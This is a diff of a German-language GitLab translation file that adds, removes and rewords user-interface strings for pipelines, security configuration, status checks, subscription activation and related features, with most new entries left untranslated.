@@ -23872,6 +24362,9 @@ msgstr ""
msgid "Pipelines|This project is not currently set up to run pipelines."
msgstr "Dieses Projekt ist derzeit nicht zum Ausführen von Pipelines eingerichtet."
+msgid "Pipelines|To keep your codebase simple, readable, and accessible to contributors, use GitLab CI/CD to analyze your code quality with every push to your project."
+msgstr ""
+
msgid "Pipelines|Token"
msgstr ""
@@ -23902,9 +24395,6 @@ msgstr ""
msgid "Pipelines|Visualize"
msgstr ""
-msgid "Pipelines|Write pipeline configuration"
-msgstr ""
-
msgid "Pipelines|invalid"
msgstr ""
@@ -24202,9 +24692,15 @@ msgstr ""
msgid "Please provide a name"
msgstr ""
+msgid "Please provide a name."
+msgstr ""
+
msgid "Please provide a valid URL"
msgstr ""
+msgid "Please provide a valid URL."
+msgstr ""
+
msgid "Please provide a valid YouTube URL or ID"
msgstr ""
@@ -24241,6 +24737,9 @@ msgstr ""
msgid "Please select a valid target branch"
msgstr ""
+msgid "Please select a valid target branch."
+msgstr ""
+
msgid "Please select and add a member"
msgstr ""
@@ -24250,6 +24749,9 @@ msgstr "Bitte wähle zumindest einen Filter um Ergebnisse zu sehen"
msgid "Please select what should be included in each exported requirement."
msgstr ""
+msgid "Please select..."
+msgstr ""
+
msgid "Please set a new password before proceeding."
msgstr ""
@@ -24283,9 +24785,6 @@ msgstr "Bitte warte, während wir uns mit deinem Repository verbinden. Aktualisi
msgid "Please wait while we import the repository for you. Refresh at will."
msgstr "Warte bitte, während wir das Repository für dich importieren. Aktualisiere nach Belieben."
-msgid "Plugins directory is deprecated and will be removed in 14.0. Please move this file into /file_hooks directory."
-msgstr ""
-
msgid "Pod does not exist"
msgstr ""
@@ -24313,6 +24812,9 @@ msgstr ""
msgid "Postman collection"
msgstr ""
+msgid "Postman collection file path or URL"
+msgstr ""
+
msgid "Pre-defined push rules."
msgstr ""
@@ -24469,6 +24971,9 @@ msgstr ""
msgid "Preview"
msgstr "Vorschau"
+msgid "Preview JavaScript projects in the Web IDE with CodeSandbox Live Preview. %{link_start}Learn more.%{link_end} "
+msgstr ""
+
msgid "Preview Markdown"
msgstr ""
@@ -24823,8 +25328,8 @@ msgstr "Private Beiträge"
msgid "Profiles|Profile was successfully updated"
msgstr ""
-msgid "Profiles|Public Avatar"
-msgstr "Öffentlicher Avatar"
+msgid "Profiles|Public avatar"
+msgstr ""
msgid "Profiles|Public email"
msgstr ""
@@ -25081,6 +25586,9 @@ msgstr ""
msgid "Project info:"
msgstr ""
+msgid "Project information"
+msgstr ""
+
msgid "Project is required when cluster_type is :project"
msgstr ""
@@ -25234,9 +25742,6 @@ msgstr ""
msgid "ProjectService|Must have permission to trigger a manual build in TeamCity."
msgstr ""
-msgid "ProjectService|New issue URL"
-msgstr ""
-
msgid "ProjectService|Perform common operations on GitLab project: %{project_name}"
msgstr ""
@@ -25711,9 +26216,6 @@ msgstr ""
msgid "Projects shared with %{group_name}"
msgstr "Geteilte Projekte mit %{group_name}"
-msgid "Projects that belong to a group are prefixed with the group namespace. Existing projects may be moved into a group."
-msgstr ""
-
msgid "Projects to index"
msgstr ""
@@ -25765,12 +26267,6 @@ msgstr "Dieses Feature erfordert einen Browser, der LocalStorage unterstützt"
msgid "ProjectsNew|Allows you to immediately clone this project’s repository. Skip this if you plan to push up an existing repository."
msgstr ""
-msgid "ProjectsNew|Blank"
-msgstr ""
-
-msgid "ProjectsNew|Blank project"
-msgstr ""
-
msgid "ProjectsNew|Connect your external repository to GitLab CI/CD."
msgstr ""
@@ -25783,6 +26279,9 @@ msgstr ""
msgid "ProjectsNew|Create a blank project to house your files, plan your work, and collaborate on code, among other things."
msgstr ""
+msgid "ProjectsNew|Create a project pre-populated with the necessary files to get you started quickly."
+msgstr ""
+
msgid "ProjectsNew|Create blank project"
msgstr ""
@@ -25795,9 +26294,6 @@ msgstr ""
msgid "ProjectsNew|Create new project"
msgstr ""
-msgid "ProjectsNew|Creating project & repository."
-msgstr ""
-
msgid "ProjectsNew|Description format"
msgstr ""
@@ -25813,11 +26309,11 @@ msgstr ""
msgid "ProjectsNew|Initialize repository with a README"
msgstr ""
-msgid "ProjectsNew|No import options available"
+msgid "ProjectsNew|Migrate your data from an external source like GitHub, Bitbucket, or another instance of GitLab."
msgstr ""
-msgid "ProjectsNew|Please wait a moment, this page will automatically refresh when ready."
-msgstr "Bitte warte einen Moment. Diese Seite wird automatisch aktualisiert, wenn bereit."
+msgid "ProjectsNew|No import options available"
+msgstr ""
msgid "ProjectsNew|Project description %{tag_start}(optional)%{tag_end}"
msgstr ""
@@ -25825,9 +26321,6 @@ msgstr ""
msgid "ProjectsNew|Run CI/CD for external repository"
msgstr ""
-msgid "ProjectsNew|Template"
-msgstr ""
-
msgid "ProjectsNew|Visibility Level"
msgstr ""
@@ -26575,9 +27068,6 @@ msgstr ""
msgid "Reconfigure"
msgstr ""
-msgid "Recover hidden stage"
-msgstr ""
-
msgid "Recovering projects"
msgstr ""
@@ -26587,6 +27077,9 @@ msgstr ""
msgid "Redirect to SAML provider to test configuration"
msgstr "Zu SAML-Provider umleiten um Konfiguration zu testen"
+msgid "Redirecting"
+msgstr ""
+
msgid "Redis"
msgstr ""
@@ -26685,7 +27178,7 @@ msgstr ""
msgid "Regulate approvals by authors/committers. Affects all projects."
msgstr ""
-msgid "Reindexing Status: %{status}"
+msgid "Reindexing Status: %{status} (Slice multiplier: %{multiplier}, Maximum running slices: %{max_slices})"
msgstr ""
msgid "Rejected (closed)"
@@ -26918,9 +27411,6 @@ msgstr "Sekundärknoten entfernen"
msgid "Remove spent time"
msgstr ""
-msgid "Remove stage"
-msgstr "Stufe entfernen"
-
msgid "Remove time estimate"
msgstr ""
@@ -26936,6 +27426,9 @@ msgstr ""
msgid "Remove user from project"
msgstr ""
+msgid "Remove..."
+msgstr ""
+
msgid "Removed"
msgstr ""
@@ -27879,6 +28372,18 @@ msgstr ""
msgid "Runners|New runner, has not connected yet"
msgstr ""
+msgid "Runners|Not connected"
+msgstr ""
+
+msgid "Runners|Offline"
+msgstr ""
+
+msgid "Runners|Online"
+msgstr ""
+
+msgid "Runners|Paused"
+msgstr ""
+
msgid "Runners|Platform"
msgstr ""
@@ -28456,16 +28961,25 @@ msgstr ""
msgid "SecurityConfiguration|Available with %{linkStart}upgrade or free trial%{linkEnd}"
msgstr ""
+msgid "SecurityConfiguration|Available with Ultimate"
+msgstr ""
+
msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the Merge Request."
msgstr ""
+msgid "SecurityConfiguration|Compliance"
+msgstr ""
+
+msgid "SecurityConfiguration|Configuration guide"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
-msgid "SecurityConfiguration|Configure via Merge Request"
+msgid "SecurityConfiguration|Configure %{feature}"
msgstr ""
-msgid "SecurityConfiguration|Configure via merge request"
+msgid "SecurityConfiguration|Configure via Merge Request"
msgstr ""
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
@@ -28480,6 +28994,9 @@ msgstr ""
msgid "SecurityConfiguration|Enable"
msgstr ""
+msgid "SecurityConfiguration|Enable %{feature}"
+msgstr ""
+
msgid "SecurityConfiguration|Enabled"
msgstr ""
@@ -28492,6 +29009,9 @@ msgstr ""
msgid "SecurityConfiguration|Manage"
msgstr ""
+msgid "SecurityConfiguration|Manage scans"
+msgstr ""
+
msgid "SecurityConfiguration|More information"
msgstr ""
@@ -28504,10 +29024,10 @@ msgstr ""
msgid "SecurityConfiguration|SAST Configuration"
msgstr ""
-msgid "SecurityConfiguration|SAST merge request creation mutation failed"
+msgid "SecurityConfiguration|Security Control"
msgstr ""
-msgid "SecurityConfiguration|Security Control"
+msgid "SecurityConfiguration|Security testing"
msgstr ""
msgid "SecurityConfiguration|Status"
@@ -28516,6 +29036,9 @@ msgstr ""
msgid "SecurityConfiguration|Testing & Compliance"
msgstr ""
+msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgstr ""
+
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
msgstr ""
@@ -28570,6 +29093,9 @@ msgstr ""
msgid "SecurityReports|Configure security testing"
msgstr ""
+msgid "SecurityReports|Coverage fuzzing"
+msgstr ""
+
msgid "SecurityReports|Create Jira issue"
msgstr ""
@@ -28588,9 +29114,6 @@ msgstr ""
msgid "SecurityReports|Download %{artifactName}"
msgstr ""
-msgid "SecurityReports|Download Report"
-msgstr ""
-
msgid "SecurityReports|Download results"
msgstr ""
@@ -28612,9 +29135,6 @@ msgstr ""
msgid "SecurityReports|Failed to get security report information. Please reload the page or try again later."
msgstr ""
-msgid "SecurityReports|Fuzzing artifacts"
-msgstr ""
-
msgid "SecurityReports|Hide dismissed"
msgstr ""
@@ -28783,6 +29303,9 @@ msgstr ""
msgid "SecurityReports|Your feedback is important to us! We will ask again in a week."
msgstr ""
+msgid "See example DevOps Score page in our documentation."
+msgstr ""
+
msgid "See metrics"
msgstr ""
@@ -28849,6 +29372,9 @@ msgstr "Grund auswählen"
msgid "Select a repository"
msgstr ""
+msgid "Select a shared template repository for all projects on this instance."
+msgstr ""
+
msgid "Select a template repository"
msgstr "Wähle ein Vorlagen-Repository aus"
@@ -29083,6 +29609,9 @@ msgstr ""
msgid "Serverless domain"
msgstr ""
+msgid "Serverless platform"
+msgstr ""
+
msgid "ServerlessDetails|Function invocation metrics require Prometheus to be installed first."
msgstr ""
@@ -29236,9 +29765,6 @@ msgstr "Lege die Standardeinstellungen fest und beschränke die Sichtbarkeitsstu
msgid "Set due date"
msgstr ""
-msgid "Set instance-wide template repository"
-msgstr "Lege ein Instanz-weites Vorlagen-Repository"
-
msgid "Set iteration"
msgstr ""
@@ -29473,9 +29999,6 @@ msgstr ""
msgid "Shared runners are disabled on group level"
msgstr ""
-msgid "Shared runners disabled on group level"
-msgstr ""
-
msgid "Shared runners help link"
msgstr ""
@@ -29714,6 +30237,12 @@ msgstr ""
msgid "Sign-up restrictions"
msgstr "Registrierungsbeschränkungen"
+msgid "SignUp|By clicking %{button_text}, I agree that I have read and accepted the %{link_start}Terms of Use and Privacy Policy%{link_end}"
+msgstr ""
+
+msgid "SignUp|By clicking %{button_text}, I agree that I have read and accepted the GitLab %{link_start}Terms of Use and Privacy Policy%{link_end}"
+msgstr ""
+
msgid "SignUp|First name is too long (maximum is %{max_length} characters)."
msgstr ""
@@ -29807,6 +30336,9 @@ msgstr ""
msgid "SlackService|This service allows users to perform common operations on this project by entering slash commands in Slack."
msgstr ""
+msgid "Slice multiplier"
+msgstr ""
+
msgid "Smartcard"
msgstr "Smartcard"
@@ -30044,6 +30576,9 @@ msgstr ""
msgid "Something went wrong while setting %{issuableType} confidentiality."
msgstr ""
+msgid "Something went wrong while setting %{issuableType} notifications."
+msgstr ""
+
msgid "Something went wrong while stopping this environment. Please try again."
msgstr ""
@@ -30350,6 +30885,9 @@ msgstr "Gib ein Regex-Muster für E-Mail-Adressen an, um interne Standardbenutze
msgid "Speed up your pipelines with Needs relationships"
msgstr ""
+msgid "Spent At"
+msgstr ""
+
msgid "Squash commit message"
msgstr ""
@@ -30365,11 +30903,14 @@ msgstr ""
msgid "Stage"
msgstr "Vormerken"
-msgid "Stage data updated"
+msgid "StageName|Build"
+msgstr ""
+
+msgid "StageName|Deploy"
msgstr ""
-msgid "Stage removed"
-msgstr "Stage entfernt"
+msgid "StageName|Test"
+msgstr ""
msgid "Standard"
msgstr "Standard"
@@ -30590,18 +31131,57 @@ msgstr ""
msgid "StatusCheck|API to check"
msgstr ""
+msgid "StatusCheck|Add status check"
+msgstr ""
+
+msgid "StatusCheck|An error occurred deleting the %{name} status check."
+msgstr ""
+
+msgid "StatusCheck|An error occurred fetching the status checks."
+msgstr ""
+
+msgid "StatusCheck|Apply this status check to any branch or a specific protected branch."
+msgstr ""
+
+msgid "StatusCheck|Check for a status response in Merge Requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
+msgstr ""
+
+msgid "StatusCheck|Examples: QA, Security."
+msgstr ""
+
+msgid "StatusCheck|External API is already in use by another status check."
+msgstr ""
+
msgid "StatusCheck|Invoke an external API as part of the approvals"
msgstr ""
+msgid "StatusCheck|Invoke an external API as part of the pipeline process."
+msgstr ""
+
+msgid "StatusCheck|No status checks are defined yet."
+msgstr ""
+
msgid "StatusCheck|Remove status check"
msgstr ""
msgid "StatusCheck|Remove status check?"
msgstr ""
+msgid "StatusCheck|Service name"
+msgstr ""
+
+msgid "StatusCheck|Status checks"
+msgstr ""
+
msgid "StatusCheck|Status to check"
msgstr ""
+msgid "StatusCheck|Target branch"
+msgstr ""
+
+msgid "StatusCheck|Update status check"
+msgstr ""
+
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
@@ -30635,9 +31215,6 @@ msgstr ""
msgid "StatusPage|Status page URL"
msgstr ""
-msgid "StatusPage|Status page frontend documentation"
-msgstr ""
-
msgid "StatusPage|To publish incidents to an external status page, GitLab stores a JSON file in your Amazon S3 account at a location that your external status page service can access. Make sure to also set up %{docsLink}"
msgstr ""
@@ -30692,6 +31269,9 @@ msgstr "Speicher:"
msgid "StorageSize|Unknown"
msgstr ""
+msgid "Subgroup information"
+msgstr ""
+
msgid "Subgroup milestone"
msgstr ""
@@ -30797,6 +31377,9 @@ msgstr ""
msgid "Subscription deletion failed."
msgstr ""
+msgid "Subscription service outage"
+msgstr ""
+
msgid "Subscription successfully applied to \"%{group_name}\""
msgstr ""
@@ -30908,6 +31491,9 @@ msgstr ""
msgid "Successfully approved"
msgstr ""
+msgid "Successfully banned"
+msgstr ""
+
msgid "Successfully blocked"
msgstr ""
@@ -30932,6 +31518,9 @@ msgstr ""
msgid "Successfully synced %{synced_timeago}."
msgstr ""
+msgid "Successfully unbanned"
+msgstr ""
+
msgid "Successfully unblocked"
msgstr ""
@@ -31043,42 +31632,93 @@ msgstr ""
msgid "Sunday"
msgstr "Sonntag"
+msgid "SuperSonics|Activate"
+msgstr ""
+
+msgid "SuperSonics|Activate subscription"
+msgstr ""
+
msgid "SuperSonics|Activated on"
msgstr ""
+msgid "SuperSonics|Activation code"
+msgstr ""
+
+msgid "SuperSonics|An error occurred while activating your subscription."
+msgstr ""
+
+msgid "SuperSonics|Billable users"
+msgstr ""
+
+msgid "SuperSonics|Buy subscription"
+msgstr ""
+
+msgid "SuperSonics|Enter activation code"
+msgstr ""
+
msgid "SuperSonics|Expires on"
msgstr ""
+msgid "SuperSonics|Free trial"
+msgstr ""
+
+msgid "SuperSonics|Get help for the most common connectivity issues by %{linkStart}troubleshooting the activation code%{linkEnd}."
+msgstr ""
+
+msgid "SuperSonics|I agree that my use of the GitLab Software is subject to the Subscription Agreement located at the %{linkStart}Terms of Service%{linkEnd}, unless otherwise agreed to in writing with GitLab."
+msgstr ""
+
msgid "SuperSonics|ID"
msgstr ""
msgid "SuperSonics|Last Sync"
msgstr ""
+msgid "SuperSonics|Learn how to %{linkStart}activate your subscription%{linkEnd}."
+msgstr ""
+
msgid "SuperSonics|Licensed to"
msgstr ""
msgid "SuperSonics|Manage"
msgstr ""
+msgid "SuperSonics|Maximum users"
+msgstr ""
+
+msgid "SuperSonics|Paste your activation code"
+msgstr ""
+
msgid "SuperSonics|Plan"
msgstr ""
+msgid "SuperSonics|Ready to get started? A GitLab plan is ideal for scaling organizations and for multi team usage."
+msgstr ""
+
msgid "SuperSonics|Renews"
msgstr ""
msgid "SuperSonics|Seats"
msgstr ""
+msgid "SuperSonics|Start free trial"
+msgstr ""
+
msgid "SuperSonics|Started"
msgstr ""
+msgid "SuperSonics|Subscription"
+msgstr ""
+
msgid "SuperSonics|Subscription details"
msgstr ""
msgid "SuperSonics|Sync subscription details"
msgstr ""
+msgid "SuperSonics|The activation code is not valid. Please make sure to copy it exactly from the Customers Portal or confirmation email. Learn more about %{linkStart}activating your subscription%{linkEnd}."
+msgstr ""
+
msgid "SuperSonics|The subscription details synced successfully."
msgstr ""
@@ -31088,18 +31728,48 @@ msgstr ""
msgid "SuperSonics|This field is required."
msgstr ""
+msgid "SuperSonics|This is the highest peak of users on your installation since the license started."
+msgstr ""
+
+msgid "SuperSonics|This is the number of %{billableUsersLinkStart}billable users%{billableUsersLinkEnd} on your installation, and this is the minimum number you need to purchase when you renew your license."
+msgstr ""
+
+msgid "SuperSonics|To activate your subscription, connect to GitLab servers through the %{linkStart}Cloud Licensing%{linkEnd} service, a hassle-free way to manage your subscription."
+msgstr ""
+
msgid "SuperSonics|Type"
msgstr ""
+msgid "SuperSonics|Upload a legacy license"
+msgstr ""
+
+msgid "SuperSonics|Users in subscription"
+msgstr ""
+
+msgid "SuperSonics|Users over subscription"
+msgstr ""
+
+msgid "SuperSonics|Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
+msgstr ""
+
msgid "SuperSonics|Valid From"
msgstr ""
+msgid "SuperSonics|You can learn more about %{activationLinkStart}activating your subscription%{activationLinkEnd}. If you need further assistance, please %{supportLinkStart}contact GitLab Support%{supportLinkEnd}."
+msgstr ""
+
msgid "SuperSonics|You can no longer sync your subscription details with GitLab. Get help for the most common connectivity issues by %{connectivityHelpLinkStart}troubleshooting the activation code%{connectivityHelpLinkEnd}."
msgstr ""
+msgid "SuperSonics|You can start a free trial of GitLab Ultimate without any obligation or payment details."
+msgstr ""
+
msgid "SuperSonics|You do not have an active subscription"
msgstr ""
+msgid "SuperSonics|You'll be charged for %{trueUpLinkStart}users over license%{trueUpLinkEnd} on a quarterly or annual basis, depending on the terms of your agreement."
+msgstr ""
+
msgid "SuperSonics|Your subscription"
msgstr ""
@@ -31118,6 +31788,9 @@ msgstr ""
msgid "Survey Response"
msgstr ""
+msgid "Switch Branch"
+msgstr ""
+
msgid "Switch branch/tag"
msgstr "Zu Branch/Tag wechseln"
@@ -31340,6 +32013,9 @@ msgstr "Vorlage"
msgid "Template to append to all Service Desk issues"
msgstr ""
+msgid "TemplateRepository|Select a repository to make its templates available to all projects. %{link_start}What should the repository contain?%{link_end} "
+msgstr ""
+
msgid "Templates"
msgstr "Vorlagen"
@@ -31494,9 +32170,6 @@ msgstr "Test"
msgid "Test Cases"
msgstr ""
-msgid "Test cases are not available for this project"
-msgstr ""
-
msgid "Test coverage parsing"
msgstr "Testabdeckung analysieren"
@@ -31636,6 +32309,9 @@ msgstr ""
msgid "Tests"
msgstr ""
+msgid "Text style"
+msgstr ""
+
msgid "Thank you for signing up for your free trial! You will get additional instructions in your inbox shortly."
msgstr ""
@@ -31666,7 +32342,7 @@ msgstr ""
msgid "The \"%{group_path}\" group allows you to sign in with your Single Sign-On Account"
msgstr ""
-msgid "The \"Require approval from CODEOWNERS\" setting was moved to %{banner_link_start}Protected Branches%{banner_link_end}"
+msgid "The %{featureName} feature is part of your GitLab Ultimate trial."
msgstr ""
msgid "The %{link_start}true-up model%{link_end} allows having more users, and additional users will incur a retroactive charge on renewal."
@@ -31689,6 +32365,9 @@ msgstr ""
msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
msgstr ""
+msgid "The GitLab subscription service (customers.gitlab.com) is currently experiencing an outage. You can monitor the status and get updates at %{linkStart}status.gitlab.com%{linkEnd}."
+msgstr ""
+
msgid "The GitLab user to which the Jira user %{jiraDisplayName} will be mapped"
msgstr ""
@@ -31880,6 +32559,9 @@ msgstr "Der Import wird nach %{timeout} beendet. Verwende eine Clone/Push-Kombin
msgid "The interval must be one of %{intervals}."
msgstr ""
+msgid "The invitation can not be found with the provided invite token."
+msgstr ""
+
msgid "The invitation could not be accepted."
msgstr ""
@@ -31925,6 +32607,9 @@ msgstr ""
msgid "The maximum file size is %{size}."
msgstr ""
+msgid "The maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
+msgstr ""
+
msgid "The maximum number of tags that a single worker accepts for cleanup. If the number of tags goes above this limit, the list of tags to delete is truncated to this number. To remove this limit, set it to 0."
msgstr ""
@@ -31943,9 +32628,6 @@ msgstr ""
msgid "The merge request can now be merged."
msgstr ""
-msgid "The merge request has made changes to this file that affect the number of code quality violations in it."
-msgstr ""
-
msgid "The metric must be one of %{metrics}."
msgstr ""
@@ -32249,9 +32931,6 @@ msgstr ""
msgid "There are running deployments on the environment. Please retry later."
msgstr ""
-msgid "There is a connectivity issue"
-msgstr ""
-
msgid "There is a halted Elasticsearch migration"
msgstr ""
@@ -32318,12 +32997,6 @@ msgstr ""
msgid "There was a problem fetching users."
msgstr ""
-msgid "There was a problem refreshing the data, please try again"
-msgstr ""
-
-msgid "There was a problem saving your custom stage, please try again"
-msgstr ""
-
msgid "There was a problem sending the confirmation email"
msgstr ""
@@ -32351,6 +33024,9 @@ msgstr "Beim Löschen des To-dos ist ein Fehler aufgetreten."
msgid "There was an error fetching configuration for charts"
msgstr ""
+msgid "There was an error fetching content, please refresh the page"
+msgstr ""
+
msgid "There was an error fetching data for the selected stage"
msgstr ""
@@ -32414,9 +33090,6 @@ msgstr ""
msgid "There was an error removing the e-mail."
msgstr ""
-msgid "There was an error removing your custom stage, please try again"
-msgstr ""
-
msgid "There was an error resetting group pipeline minutes."
msgstr ""
@@ -32459,9 +33132,6 @@ msgstr ""
msgid "There was an error updating the dashboard, branch named: %{branch} already exists."
msgstr ""
-msgid "There was an error updating the stage order. Please try reloading the page."
-msgstr ""
-
msgid "There was an error when reseting email token."
msgstr "Beim Zurücksetzen des E-Mail-Tokens ist ein Fehler aufgetreten."
@@ -32585,8 +33255,11 @@ msgstr ""
msgid "This also resolves this thread"
msgstr ""
-msgid "This application was created by %{link_to_owner}."
-msgstr "Diese Anwendung wurde erstellt von %{link_to_owner}."
+msgid "This application was created by %{user_link}."
+msgstr ""
+
+msgid "This application was created for group %{group_link}."
+msgstr ""
msgid "This application will be able to:"
msgstr "Diese Anwendung wird in der Lage sein:"
@@ -32687,9 +33360,6 @@ msgstr ""
msgid "This feature requires local storage to be enabled"
msgstr ""
-msgid "This feature should be used with an index that was created after 13.0"
-msgstr ""
-
msgid "This field is required."
msgstr ""
@@ -33023,6 +33693,9 @@ msgstr ""
msgid "This user has the %{access} role in the %{name} project."
msgstr ""
+msgid "This user is banned"
+msgstr ""
+
msgid "This user is blocked"
msgstr ""
@@ -33065,9 +33738,6 @@ msgstr ""
msgid "ThreatMonitoring|Anomalous Requests"
msgstr ""
-msgid "ThreatMonitoring|Application firewall not detected"
-msgstr ""
-
msgid "ThreatMonitoring|Container Network Policies are not installed or have been disabled. To view this data, ensure your Network Policies are installed and enabled for your cluster."
msgstr ""
@@ -33092,6 +33762,9 @@ msgstr ""
msgid "ThreatMonitoring|Events"
msgstr ""
+msgid "ThreatMonitoring|Failed to create incident, please try again."
+msgstr ""
+
msgid "ThreatMonitoring|Hide dismissed alerts"
msgstr ""
@@ -33143,9 +33816,6 @@ msgstr ""
msgid "ThreatMonitoring|Status"
msgstr ""
-msgid "ThreatMonitoring|The firewall is not installed or has been disabled. To view this data, ensure the web application firewall is installed and enabled for your cluster."
-msgstr ""
-
msgid "ThreatMonitoring|There was an error displaying the alerts. Confirm your endpoint's configuration details to ensure alerts appear."
msgstr ""
@@ -33176,12 +33846,6 @@ msgstr ""
msgid "ThreatMonitoring|View documentation"
msgstr ""
-msgid "ThreatMonitoring|Web Application Firewall"
-msgstr ""
-
-msgid "ThreatMonitoring|While it's rare to have no traffic coming to your application, it can happen. In any event, we ask that you double check your settings to make sure you've set up the WAF correctly."
-msgstr ""
-
msgid "Throughput"
msgstr ""
@@ -33191,6 +33855,9 @@ msgstr "Donnerstag"
msgid "Time"
msgstr ""
+msgid "Time Spent"
+msgstr ""
+
msgid "Time based: Yes"
msgstr ""
@@ -33242,6 +33909,9 @@ msgstr ""
msgid "Time tracking"
msgstr "Zeiterfassung"
+msgid "Time tracking report"
+msgstr ""
+
msgid "Time until first merge request"
msgstr "Zeit bis zum ersten Merge-Request"
@@ -33417,9 +34087,6 @@ msgstr[1] "Min."
msgid "Time|s"
msgstr "Sek."
-msgid "Tip:"
-msgstr "Tipp:"
-
msgid "Tip: Hover over a job to see the jobs it depends on to run."
msgstr ""
@@ -33534,9 +34201,6 @@ msgstr "Um ein komplettes GitLab-Projekt von einer GitLab-Installation zu einer
msgid "To only use CI/CD features for an external repository, choose %{strong_open}CI/CD for external repo%{strong_close}."
msgstr ""
-msgid "To open Jaeger from GitLab to view tracing from the %{link} page, add a URL to your Jaeger server."
-msgstr ""
-
msgid "To pass variables to the triggered pipeline, add %{code_start}variables[VARIABLE]=VALUE%{code_end} to the API request."
msgstr ""
@@ -33654,15 +34318,15 @@ msgstr "Navigation umschalten"
msgid "Toggle project select"
msgstr ""
+msgid "Toggle shortcuts"
+msgstr ""
+
msgid "Toggle sidebar"
msgstr "Seitenleiste ein-/ausblenden"
msgid "Toggle the Performance Bar"
msgstr ""
-msgid "Toggle this dialog"
-msgstr ""
-
msgid "Toggle thread"
msgstr ""
@@ -33690,9 +34354,6 @@ msgstr "Zu viele Namespaces aktiviert. Sie müssen sie über die Konsole oder di
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr "Zu viele Projekte aktviert. Sie müssen sie über die Konsole oder die API verwalten."
-msgid "Too much data"
-msgstr ""
-
msgid "Topics (optional)"
msgstr ""
@@ -33890,6 +34551,9 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
+msgid "Trigger cluster reindexing. This feature should be used with an index that was created after 13.0."
+msgstr ""
+
msgid "Trigger manual job"
msgstr ""
@@ -34115,6 +34779,9 @@ msgstr ""
msgid "Unable to fetch branch list for this project."
msgstr ""
+msgid "Unable to fetch branches list, please close the form and try again"
+msgstr ""
+
msgid "Unable to fetch unscanned projects"
msgstr ""
@@ -34358,6 +35025,9 @@ msgstr ""
msgid "Until"
msgstr ""
+msgid "Unused"
+msgstr ""
+
msgid "Unused, previous indices: %{index_names} will be deleted after %{time} automatically."
msgstr ""
@@ -34517,6 +35187,9 @@ msgstr ""
msgid "Upload file"
msgstr "Datei hochladen"
+msgid "Upload license"
+msgstr ""
+
msgid "Upload object map"
msgstr ""
@@ -34838,6 +35511,9 @@ msgstr "Benutze deine globalen Benachrichtigungseinstellungen"
msgid "Use your smart card to authenticate with the LDAP server."
msgstr ""
+msgid "Used"
+msgstr ""
+
msgid "Used by members to sign in to your group in GitLab"
msgstr "Wird von Mitgliedern verwendet, um sich in GitLab in deiner Gruppe anzumelden"
@@ -34847,6 +35523,9 @@ msgstr ""
msgid "Used programming language"
msgstr ""
+msgid "Used to calculate the number of slices during reindexing. The multiplier will be applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
+msgstr ""
+
msgid "Used to help configure your identity provider"
msgstr ""
@@ -34955,27 +35634,45 @@ msgstr ""
msgid "UserLists|Feature flag user list"
msgstr ""
+msgid "UserLists|Get started with user lists"
+msgstr ""
+
msgid "UserLists|Lists allow you to define a set of users to be used with feature flags. %{linkStart}Read more about feature flag lists.%{linkEnd}"
msgstr ""
+msgid "UserLists|Loading user lists"
+msgstr ""
+
msgid "UserLists|Name"
msgstr ""
msgid "UserLists|New list"
msgstr ""
+msgid "UserLists|New user list"
+msgstr ""
+
msgid "UserLists|Save"
msgstr ""
msgid "UserLists|There are no users"
msgstr ""
+msgid "UserLists|There was an error fetching the user lists."
+msgstr ""
+
msgid "UserLists|User ID"
msgstr ""
msgid "UserLists|User IDs"
msgstr ""
+msgid "UserLists|User Lists"
+msgstr ""
+
+msgid "UserLists|User lists allow you to define a set of users to use with Feature Flags."
+msgstr ""
+
msgid "UserList|Delete %{name}?"
msgstr ""
@@ -35108,6 +35805,9 @@ msgstr ""
msgid "UserProfile|made a private contribution"
msgstr ""
+msgid "Username (for password-protected Elasticsearch servers)"
+msgstr ""
+
msgid "Username (optional)"
msgstr ""
@@ -35129,6 +35829,9 @@ msgstr ""
msgid "Users"
msgstr "Benutzer(innen)"
+msgid "Users can launch a development environment from a GitLab browser tab when the %{linkStart}Gitpod%{linkEnd} integration is enabled."
+msgstr ""
+
msgid "Users in License"
msgstr ""
@@ -35240,6 +35943,9 @@ msgstr ""
msgid "ValueStreamAnalytics|Total number of deploys to production."
msgstr ""
+msgid "ValueStreamEvent|Items in stage"
+msgstr ""
+
msgid "ValueStreamEvent|Stage time (median)"
msgstr ""
@@ -35805,15 +36511,15 @@ msgstr "Wir haben potenziellen Spam in %{humanized_resource_name} gefunden. Bitt
msgid "We don't have enough data to show this stage."
msgstr "Es liegen nicht genügend Daten vor, um diese Phase anzuzeigen."
-msgid "We encountered an error and our team has been notified. Please try again."
-msgstr ""
-
msgid "We have found the following errors:"
msgstr ""
msgid "We heard back from your device. You have been authenticated."
msgstr ""
+msgid "We love speaking to our users. Got more to say about your GitLab experiences?"
+msgstr ""
+
msgid "We recommend cloud-based mobile authenticator apps such as Authy, Duo Mobile, and LastPass. They can restore access if you lose your hardware device."
msgstr ""
@@ -35853,9 +36559,6 @@ msgstr ""
msgid "We've found no vulnerabilities"
msgstr ""
-msgid "Web Application Firewall"
-msgstr ""
-
msgid "Web IDE"
msgstr "Web IDE"
@@ -35883,16 +36586,16 @@ msgstr ""
msgid "WebIDE|This project does not accept unsigned commits."
msgstr ""
-msgid "WebIDE|This project does not accept unsigned commits. You will not be able to commit your changes through the Web IDE."
+msgid "WebIDE|This project does not accept unsigned commits. You can’t commit changes through the Web IDE."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project."
+msgid "WebIDE|You can’t edit files directly in this project. Fork this project and submit a merge request with your changes."
msgstr ""
